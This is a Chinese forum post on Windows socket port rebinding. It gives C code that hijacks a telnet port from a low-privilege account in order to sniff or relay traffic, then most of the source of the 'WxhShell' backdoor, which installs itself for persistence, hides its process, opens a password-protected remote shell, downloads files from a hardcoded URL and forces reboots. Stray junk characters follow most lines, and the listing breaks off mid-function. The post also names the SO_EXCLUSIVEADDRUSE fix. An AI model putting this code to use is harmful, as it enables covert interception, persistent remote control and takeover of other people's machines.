社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 18274阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: FnHi(S|A  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;\%sEcpT  
8X&Ya =  
  saddr.sin_family = AF_INET; "?.~/@  
uM(UO,X  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); "zZI S6j  
3,aN8F1;C  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); f0Hq8qAF;^  
o'%e I  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 } PeZO!K  
,,=apyr#&  
  这意味着什么?意味着可以进行如下的攻击: sP$Ks#/  
"t(wG{RxY  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 2}t&iG|0/  
gd^Js 1Z  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) {b!7 .Cd=  
qS8B##x+=  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ZYtiMBJ  
DHfB@/q#  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  7uI#L}y  
x|~zHFm6  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 $GF]/;\m  
5@u~3jPd  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ^O%9yEo  
kB\kpW  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 $(HjI \%l^  
?$%%Mp(  
  #include RB3 zHk%  
  #include yi!`V.  
  #include keqcV23k  
  #include    >[*4Tjg  
  DWORD WINAPI ClientThread(LPVOID lpParam);   %"Db?  
  int main() 2'{}<9  
  { o7xgRSz\  
  WORD wVersionRequested; b7h+?!H]R  
  DWORD ret; P -Fg^tl  
  WSADATA wsaData; &:#m&,tQ  
  BOOL val; Nf?\AK!  
  SOCKADDR_IN saddr;  ,-rB=|w  
  SOCKADDR_IN scaddr; ]HvZ$  
  int err; [6g O  
  SOCKET s; h{]#ag5`  
  SOCKET sc; b1!@v+  
  int caddsize; uMFV% +I  
  HANDLE mt; E8/rZ~0O~  
  DWORD tid;   ehOs9b  
  wVersionRequested = MAKEWORD( 2, 2 ); ^b53}f8H  
  err = WSAStartup( wVersionRequested, &wsaData ); V_a)jJ  
  if ( err != 0 ) { .RRlUWu  
  printf("error!WSAStartup failed!\n"); [!?wyv3  
  return -1; T{S4|G1R6  
  } QB 77:E  
  saddr.sin_family = AF_INET; t=dO  
   `mB.pz[  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 4#Eul  
Jyu`-=It  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); mtw9AoO  
  saddr.sin_port = htons(23); g"y?nF.&F  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) BXTN>d27  
  { aR:<<IF\  
  printf("error!socket failed!\n"); Fh`-(,e?5  
  return -1; W(@>?$&  
  } ')nnWlK  
  val = TRUE; (K!4Kp^m  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 SFO&=P:U  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) D<nxr~pQ  
  { !A[S6-18%-  
  printf("error!setsockopt failed!\n"); c#\-%h  
  return -1; a c6*v49  
  } ~Fx&)kegTo  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; iVeQ]k(u  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ="B n=>  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 6ojo##j  
oCJbkt=  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) !Z/$}xxj  
  { H`D f  
  ret=GetLastError(); s)tpr   
  printf("error!bind failed!\n"); $^Ca: duk  
  return -1; /2h][zrZ[.  
  } G?[-cNdk  
  listen(s,2); BW71 s  
  while(1) .Z5[_'T  
  { $Sb@zLi)  
  caddsize = sizeof(scaddr); ;c)! @GoA  
  //接受连接请求 ;E's4jWq  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); _0]QS4a][c  
  if(sc!=INVALID_SOCKET) uL>:tb  
  { eycV@|6u*  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); jYdV?B  
  if(mt==NULL) ;](h2Z`3s  
  { m"-G6BKS  
  printf("Thread Creat Failed!\n"); :r39wFi  
  break; I*c;hfu  
  } BkT-m'I?  
  } (C~dkR?  
  CloseHandle(mt); (rMZ  
  } b"P&+c  
  closesocket(s); `Qq/ F]  
  WSACleanup(); -kc(u1!  
  return 0; qC.i6IL  
  }   0Bu*g LY  
  DWORD WINAPI ClientThread(LPVOID lpParam) kJeu40oN  
  { 6J;i,/ky  
  SOCKET ss = (SOCKET)lpParam;  h,hL?imD  
  SOCKET sc; 1(pjVz&  
  unsigned char buf[4096]; ,cS0  
  SOCKADDR_IN saddr; 3k{c$x}  
  long num; ._ih$=   
  DWORD val; L?.7\a@  
  DWORD ret; _3U|2(E  
  //如果是隐藏端口应用的话,可以在此处加一些判断 l4Y1(  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   "7?t)FOo  
  saddr.sin_family = AF_INET; !VNbj\Bp  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); LJ l1v  
  saddr.sin_port = htons(23); s*+ZYPk  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Z~R dFC  
  { Mz}i[|U\  
  printf("error!socket failed!\n"); +_-Y`O!Q  
  return -1; b_mWu@$  
  } 2*YP"Ryh  
  val = 100; :}y| 4*z  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9,KVBO  
  { O,]_ tp  
  ret = GetLastError(); :H3(w|T/  
  return -1; .m!s". ?[  
  } sZEgsrJh  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) gDj_KKd  
  { &@"w-M  
  ret = GetLastError(); NlMQHma  
  return -1; 4[xA- \  
  } EaCZx  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) uegb;m  
  { :Lc3a$qtx5  
  printf("error!socket connect failed!\n"); L77EbP`P  
  closesocket(sc); #Wq#beBb  
  closesocket(ss); Q_v\1"c  
  return -1; 3f,u}1npa*  
  } Y 0]Kl^\A  
  while(1) 4UazD_`'  
  { -g<cinNSp  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 tnNZ`]qY  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Lv^a+'  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 v2(U(Tt  
  num = recv(ss,buf,4096,0); fX""xT NPi  
  if(num>0) 9yDFHz w  
  send(sc,buf,num,0); p/4S$ j#Tn  
  else if(num==0) ,?fN#gc :  
  break; Q+HZ?V(  
  num = recv(sc,buf,4096,0); @F~0p5I  
  if(num>0) pNBa.4z:  
  send(ss,buf,num,0); dJaEoF  
  else if(num==0) =;g=GcVK  
  break; L[1d&d!p  
  } OAY8,C=M  
  closesocket(ss); oAC^4-Ld  
  closesocket(sc); i@Vs4E[b  
  return 0 ; v=j>^F Z  
  } G u6[{u  
>]^>gUmq  
Io09W^  
========================================================== 98jD"*W5  
.r(^h/IF  
下边附上一个代码,,WXhSHELL h1E PaL  
FBcm;cjH  
========================================================== 0&f\7z  
v)%[  
#include "stdafx.h" /5jKX 5r  
exsQmbj* %  
#include <stdio.h> vs+ We*8H  
#include <string.h> 8~}s 3j4  
#include <windows.h> d RHlx QUn  
#include <winsock2.h> S\}?zlV  
#include <winsvc.h> i+U@\:=  
#include <urlmon.h> dG" K/|  
<&KLo>B^  
#pragma comment (lib, "Ws2_32.lib") ^zKt{a  
#pragma comment (lib, "urlmon.lib") S3b|wUf  
4n#YDZ  
#define MAX_USER   100 // 最大客户端连接数 uAc@ Z-  
#define BUF_SOCK   200 // sock buffer :EYu 4Y  
#define KEY_BUFF   255 // 输入 buffer sbs[=LW4  
VjC*(6<Gj  
#define REBOOT     0   // 重启 .@fK;/OuC  
#define SHUTDOWN   1   // 关机 P= &'wblm?  
MJy;GzJ O  
#define DEF_PORT   5000 // 监听端口 mu 2 A%"7  
j l}!T[5  
#define REG_LEN     16   // 注册表键长度 hEVjeC  
#define SVC_LEN     80   // NT服务名长度 'y'T'2N3  
~*jsB=XM/  
// 从dll定义API xi;/^)r  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2f`WDL  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); MV% :ES?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); lv=yz\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,}eRnl\  
fEx+gQW_  
// wxhshell配置信息 J'I1,5(  
struct WSCFG { oNiToFbQu  
  int ws_port;         // 监听端口 [`y:M&@  
  char ws_passstr[REG_LEN]; // 口令 3Ne9% "  
  int ws_autoins;       // 安装标记, 1=yes 0=no pESB Il  
  char ws_regname[REG_LEN]; // 注册表键名 ERUs0na]  
  char ws_svcname[REG_LEN]; // 服务名 R;0W+!fE  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Pd)K^;em  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 BM|-GErE  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 I{`KKui<M  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *p""YEN  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 83{x"G3>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $ /}:P  
X{5v?4wI  
}; ~AEqfIx*^&  
R59e&   
// default Wxhshell configuration =-OCM*5~S  
struct WSCFG wscfg={DEF_PORT, 54`bE$:+  
    "xuhuanlingzhe", ZAI1p+  
    1, nQ:ml  
    "Wxhshell", A8_\2'b  
    "Wxhshell", X{0ax.  
            "WxhShell Service", 4]Un=?)I  
    "Wrsky Windows CmdShell Service", P@gu~!  
    "Please Input Your Password: ", OVDMC4K2z!  
  1, *%ed;>6:Q  
  "http://www.wrsky.com/wxhshell.exe", D=i0e8D!+  
  "Wxhshell.exe" .Ws iOJU  
    }; 5QqJ I#4~  
+Fu@I{"A  
// 消息定义模块 W /~||s  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +Z 9 3`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^ I{R[O'8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _9}x2uO~  
char *msg_ws_ext="\n\rExit."; BxSk%$J  
char *msg_ws_end="\n\rQuit."; . 1{vpX  
char *msg_ws_boot="\n\rReboot..."; 0Zc*YdH  
char *msg_ws_poff="\n\rShutdown..."; 'DL;c@}37  
char *msg_ws_down="\n\rSave to "; @&~OB/7B:  
<6d{k[7fz)  
char *msg_ws_err="\n\rErr!"; ]>VJ--fH  
char *msg_ws_ok="\n\rOK!"; t7U,AQ=;P5  
9J-!o]f .b  
char ExeFile[MAX_PATH]; NDs]}5#   
int nUser = 0; 9 NGeh*`  
HANDLE handles[MAX_USER]; Z4wrXss~  
int OsIsNt; p%1xj2 ?nN  
SX Hru Z  
SERVICE_STATUS       serviceStatus; F8|5_214'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1+16i=BF)  
6T{o3wc;  
// 函数声明 q5?rp|7D  
int Install(void); HKEop  
int Uninstall(void); !#@4xeBPo  
int DownloadFile(char *sURL, SOCKET wsh); 1cHSgpoJ  
int Boot(int flag); %S(#cf!HP  
void HideProc(void); 6k@%+<1  
int GetOsVer(void); C*W.9  
int Wxhshell(SOCKET wsl); I:uQB!  
void TalkWithClient(void *cs); }\PE {  
int CmdShell(SOCKET sock); 'gk81@|  
int StartFromService(void); zJy 89ib'  
int StartWxhshell(LPSTR lpCmdLine); h+zkVRyA  
.J<qfQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); w]o:c(x@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^|F Vc48{  
s60:0>  
// 数据结构和表定义 _Cv[`e.  
SERVICE_TABLE_ENTRY DispatchTable[] =  MrKU,-  
{ |mQtjo  
{wscfg.ws_svcname, NTServiceMain}, )"pxry4v7J  
{NULL, NULL} ery?G-  
}; ZZ]OR;8  
!SO$k%b}!  
// 自我安装 (IoPU+1b  
int Install(void) y:hCBgc;`c  
{ 7{kpx$:_  
  char svExeFile[MAX_PATH]; QigoRB!z#9  
  HKEY key; Ads<-.R  
  strcpy(svExeFile,ExeFile); ^;Hi/KvM\  
3G%XG{dg  
// 如果是win9x系统,修改注册表设为自启动 2h|(8f:y  
if(!OsIsNt) { /C,>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |ZST Y}RXA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?|Q5]rhs  
  RegCloseKey(key); Vtz yB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .qqb> 7|q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \ ]kb&Qw  
  RegCloseKey(key); XTi0,e]5{u  
  return 0; .J1Hg  
    } 0ez i?Um  
  } aoakTi!}  
} #8Id:56  
else { z!1/_]WJ,  
E-tNB{r@  
// 如果是NT以上系统,安装为系统服务 +Qi52OG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @8Q+=abz  
if (schSCManager!=0) . tH35/r  
{ k`2B9,z  
  SC_HANDLE schService = CreateService yZ?_q$4kEI  
  ( k^dCX+  
  schSCManager, ?{.b9`  
  wscfg.ws_svcname, 8x^H<y=O  
  wscfg.ws_svcdisp, %)6 :eIS  
  SERVICE_ALL_ACCESS, zfr(dQ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?%za:{  
  SERVICE_AUTO_START, r"u(!~R  
  SERVICE_ERROR_NORMAL, 'Qs 3  
  svExeFile, %:be{Y6  
  NULL, RZ/+ K=  
  NULL, ]=86[A-2N  
  NULL, UTK.tg  
  NULL, ;qVEI/  
  NULL >;'1k'  
  ); ;@ll  
  if (schService!=0) m)[wZP*e  
  { h@>rjeY@  
  CloseServiceHandle(schService); G5QgnxwP2  
  CloseServiceHandle(schSCManager); /nMqEHCyg  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Vm1c-,)3  
  strcat(svExeFile,wscfg.ws_svcname); )ejXeg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &PQ{e8w  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); e/HX,sf_g  
  RegCloseKey(key); ZAo)_za&mH  
  return 0; Y%?!AmER  
    } $Pb[ c%'  
  } qLW-3W;WUH  
  CloseServiceHandle(schSCManager); TNyY60E  
} cV,03]x  
} YZ%f7BUk  
*l?% o{  
return 1; _"w!KNX>(~  
} ++{+ #s6  
Kt* za  
// 自我卸载 / =Uv  
int Uninstall(void) "$:y03V  
{ /?dQUu ^z  
  HKEY key; RY/ Z~]  
&A5[C{x  
if(!OsIsNt) { Jn:GA@[I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a+a%}76N  
  RegDeleteValue(key,wscfg.ws_regname); >A'!T'"~  
  RegCloseKey(key); m1$P3tZPn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VzYP:QRz  
  RegDeleteValue(key,wscfg.ws_regname); ,YMdXYu`s  
  RegCloseKey(key); S5pP"&I[  
  return 0; u, SX`6%  
  } yA>p[F  
} = cI\OsV&?  
} Y`O}]*{>8R  
else { Y)j,(9  
"6NNId|Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); bd 1J#V]  
if (schSCManager!=0) L pi _uK  
{ ,cO)Sxj  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $ p1EqVu  
  if (schService!=0) rgZ rE;*;  
  { @Kb|  
  if(DeleteService(schService)!=0) { k;:u| s8NS  
  CloseServiceHandle(schService); z Q|x>3   
  CloseServiceHandle(schSCManager); U/&qV"Ih  
  return 0; VQNH@g^gqr  
  } ]zMBZs  
  CloseServiceHandle(schService); }?qnwx.  
  } .HyiPx3^  
  CloseServiceHandle(schSCManager); K~ /V  
} V_d%g<n4  
} UCj#t!Mw  
Dp6"I!L<|  
return 1; 0?L$)T-B  
} nu9k{owB T  
nPIR 1Z  
// 从指定url下载文件 3^-)gK  
int DownloadFile(char *sURL, SOCKET wsh) /G{3p&9  
{ n]{}C.C=  
  HRESULT hr; N8(x),  
char seps[]= "/"; .Zt/e>K&  
char *token; /sC[5G%  
char *file; v*]Xur6e}  
char myURL[MAX_PATH]; YK+Z0ry  
char myFILE[MAX_PATH]; .6/p4OR|  
|2&mvjk@H  
strcpy(myURL,sURL); eD1MP<>h  
  token=strtok(myURL,seps);  p|8Fl  
  while(token!=NULL) rHdP4:n  
  { WI 4_4  
    file=token; S"A_TH  
  token=strtok(NULL,seps); .p0n\ $r  
  } d\Z4?@T<5  
v%7JZ<I'A  
GetCurrentDirectory(MAX_PATH,myFILE); IguG0 3:.N  
strcat(myFILE, "\\"); @dKf]&h%%  
strcat(myFILE, file); !skWe~/  
  send(wsh,myFILE,strlen(myFILE),0); +~k,4  
send(wsh,"...",3,0); z iGL4c0p  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); l45F*v]^  
  if(hr==S_OK) i&Cqw~.H  
return 0; jW$f(qAbm  
else hgr ,v"  
return 1; qhf/B)  
1 'pQ,  
} xENA:j?kF  
44{:UhJkx  
// 系统电源模块 3K:Xxkk  
int Boot(int flag) XBt0Ez  
{ knZd}?I*  
  HANDLE hToken; ;B7|tajd  
  TOKEN_PRIVILEGES tkp; G8-d%O p  
%LlKi5u]  
  if(OsIsNt) { E :g ArQ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;RZa<2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 95&sFT C  
    tkp.PrivilegeCount = 1; J 2~B<=V  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; e/D\7Pf  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); , ZW.P`  
if(flag==REBOOT) { L`@&0Zk  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?gP/XjToMg  
  return 0; |-Klh  
} 54_m{&hb  
else { *YOnX7*Km  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8-6{MJ?F  
  return 0; vKLG9ovlY  
} d }CMX$1  
  } (X'K)*G#  
  else { u}0t`w:  
if(flag==REBOOT) { xW )8mv?4n  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `fVA. %  
  return 0; 8(K~QvE~  
} ]@]"bF!Dn  
else { t$D[,$G9  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]>!_OCe&  
  return 0; m{Xf_rQ w  
} 5d;K.O  
} 4[j) $!l`  
zMg^2{0L  
return 1; S%|' /cFo  
} sW`iXsbWM>  
k)_#u;qmG  
// win9x进程隐藏模块 2uB26SEIl  
void HideProc(void) Ps,w(k{d  
{ t?&ajh  
n9yv.p]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Ase1R=0  
  if ( hKernel != NULL ) ECfY~qK  
  { Ok"wec+,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9uo\&,,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); F&Z>B};  
    FreeLibrary(hKernel); N.J:Qn`(  
  } EE{%hGb  
sA j$U^Gp  
return; 1x 8]&  
} XwGJ 8&N  
t/c^hTT  
// 获取操作系统版本 #Z5~a9rO  
int GetOsVer(void) "lMWSCas  
{ #jR?C9&!(  
  OSVERSIONINFO winfo; 9$t@Gmn  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); wIPDeC4  
  GetVersionEx(&winfo); VJPPHJ[-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) UcIR0BYa  
  return 1; LDNUywj@w  
  else &$ 9bC 't6  
  return 0;  n6dg   
} \Bf{/r5x  
ON^u|*kO  
// 客户端句柄模块 g:V6B/M&  
int Wxhshell(SOCKET wsl) ;0WlvKF  
{ P|4a}SWU  
  SOCKET wsh; 3*L,48wX  
  struct sockaddr_in client; 'c]&{-w<i  
  DWORD myID; z#ET-[ I  
riQ?'!a7  
  while(nUser<MAX_USER) HxAa,+k  
{ z(` kWF1<  
  int nSize=sizeof(client); OTm"Iwzu@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $xwF;:)  
  if(wsh==INVALID_SOCKET) return 1; cwM0Z6  
f5eX%FR  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); zj}efv<e  
if(handles[nUser]==0) w}0PtzOe  
  closesocket(wsh); Z!6G (zz:>  
else U$%w"k7^(  
  nUser++; B.b)YE '  
  } 3x$#L!VuU  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); x-EAu 3=V  
xr-scdh2  
  return 0; "^7Uk#! 7  
} qz):YHxT]n  
b ;b1 V  
// 关闭 socket ZGBcy}U(k  
void CloseIt(SOCKET wsh) r>OE[C69  
{ 9)`wd&!  
closesocket(wsh); _;+&'=6.[  
nUser--; q1j[eru  
ExitThread(0); "5FeP;  
} 37DvI&  
SJmri]4K  
// 客户端请求句柄 23m+"4t  
void TalkWithClient(void *cs) Obm\h*$  
{ \qPrY.-  
\(s ";@  
  SOCKET wsh=(SOCKET)cs; 3Hr%G4  
  char pwd[SVC_LEN]; Ib C)F> Dq  
  char cmd[KEY_BUFF]; Nsy.!,!c  
char chr[1]; bjZ?WZr  
int i,j; Ea 1>]V  
s4\2lBU?  
  while (nUser < MAX_USER) { -u(#V#}OV?  
KA7nncg;,  
if(wscfg.ws_passstr) { ?xega-l  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !cZIoz  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Uk#1PcPd  
  //ZeroMemory(pwd,KEY_BUFF); `3Y+:!q  
      i=0; >3/<goXk7  
  while(i<SVC_LEN) { Spb'jAKj'  
#';r 0?|  
  // 设置超时 Tbw8#[6AX  
  fd_set FdRead; 0&|-wduR=  
  struct timeval TimeOut; sT ONkd  
  FD_ZERO(&FdRead); hi%>&i*  
  FD_SET(wsh,&FdRead); {WChD&v  
  TimeOut.tv_sec=8; ~V5jjx*  
  TimeOut.tv_usec=0; ;F- kE4w  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); m"5gzH  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +VDB\n   
8dNJZoV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lH 8?IkK,g  
  pwd=chr[0]; }T@AoIR0t  
  if(chr[0]==0xd || chr[0]==0xa) { GOjri  
  pwd=0; o<;"+@v  
  break; U-d&q>_@A  
  } -#@;-2w  
  i++; ZzY6M"eUXD  
    } p}\!"&,^m  
!!AutkEg>  
  // 如果是非法用户,关闭 socket (<t)5?@%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); f#?R!pR  
} ^"I!+Teb  
P]G2gDO  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4R.#=]F  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )!Bv8&;e  
2zAS \Y  
while(1) { lEJTd3dMi  
3UEh%Ho  
  ZeroMemory(cmd,KEY_BUFF); eL*Edl|#  
QCMF_;aNI  
      // 自动支持客户端 telnet标准   $t^`Pt*:u  
  j=0; 6 [IiJhVL  
  while(j<KEY_BUFF) { "xKJ?8   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zB4gnVhus|  
  cmd[j]=chr[0]; W/+0gh7`,(  
  if(chr[0]==0xa || chr[0]==0xd) { ?V+=uTCq  
  cmd[j]=0; UaB!,vs3st  
  break; aO{k-44y  
  } 'k hJZ:  
  j++; L3S,*LnA  
    } <?!#QA  
3:r;(IaX  
  // 下载文件 dCBJV  
  if(strstr(cmd,"http://")) { JyV"jL   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (_D#gr{S=  
  if(DownloadFile(cmd,wsh)) |1EM )zh6  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5_PD ?lg  
  else KpWQ;3D2  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y0DBkg  
  } &( Z8G~h4  
  else { |o`TRqs  
P+JYs  
    switch(cmd[0]) { My)/d]a  
  rd6?;K0  
  // 帮助 KQh'5o&  
  case '?': { Q'Q^K  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {Q0"uE)-.  
    break; dPS}\&1  
  } y37@4p^@9  
  // 安装 w%htY.-  
  case 'i': { {ES3nCL(8  
    if(Install()) N:0mjHG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7yKadM~)  
    else >R6Me*VR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E/ Pa0.  
    break; L(iWFy1& T  
    } hTF]-& hZ  
  // 卸载 AV?*r-vWL.  
  case 'r': { \JX8`]|&  
    if(Uninstall()) PR6{Y]e%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {min9  
    else MD&Ebq5V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >-Jutr<I"~  
    break; ibh!8"[  
    } E0w>c'kH  
  // 显示 wxhshell 所在路径 r>5,U:6Q/  
  case 'p': { *@dqAr%  
    char svExeFile[MAX_PATH]; t>^An:xT  
    strcpy(svExeFile,"\n\r"); 6j0!$q^  
      strcat(svExeFile,ExeFile); 8[eH8m#~$  
        send(wsh,svExeFile,strlen(svExeFile),0); cu |{cy-  
    break; l =#uy  
    } A@GyKx%x$  
  // 重启 `6'fX[j5  
  case 'b': { #=h~Lr'UH  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Q\}5q3  
    if(Boot(REBOOT)) hW]:CIqk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7 'N&jI   
    else { wj5{f5 RWV  
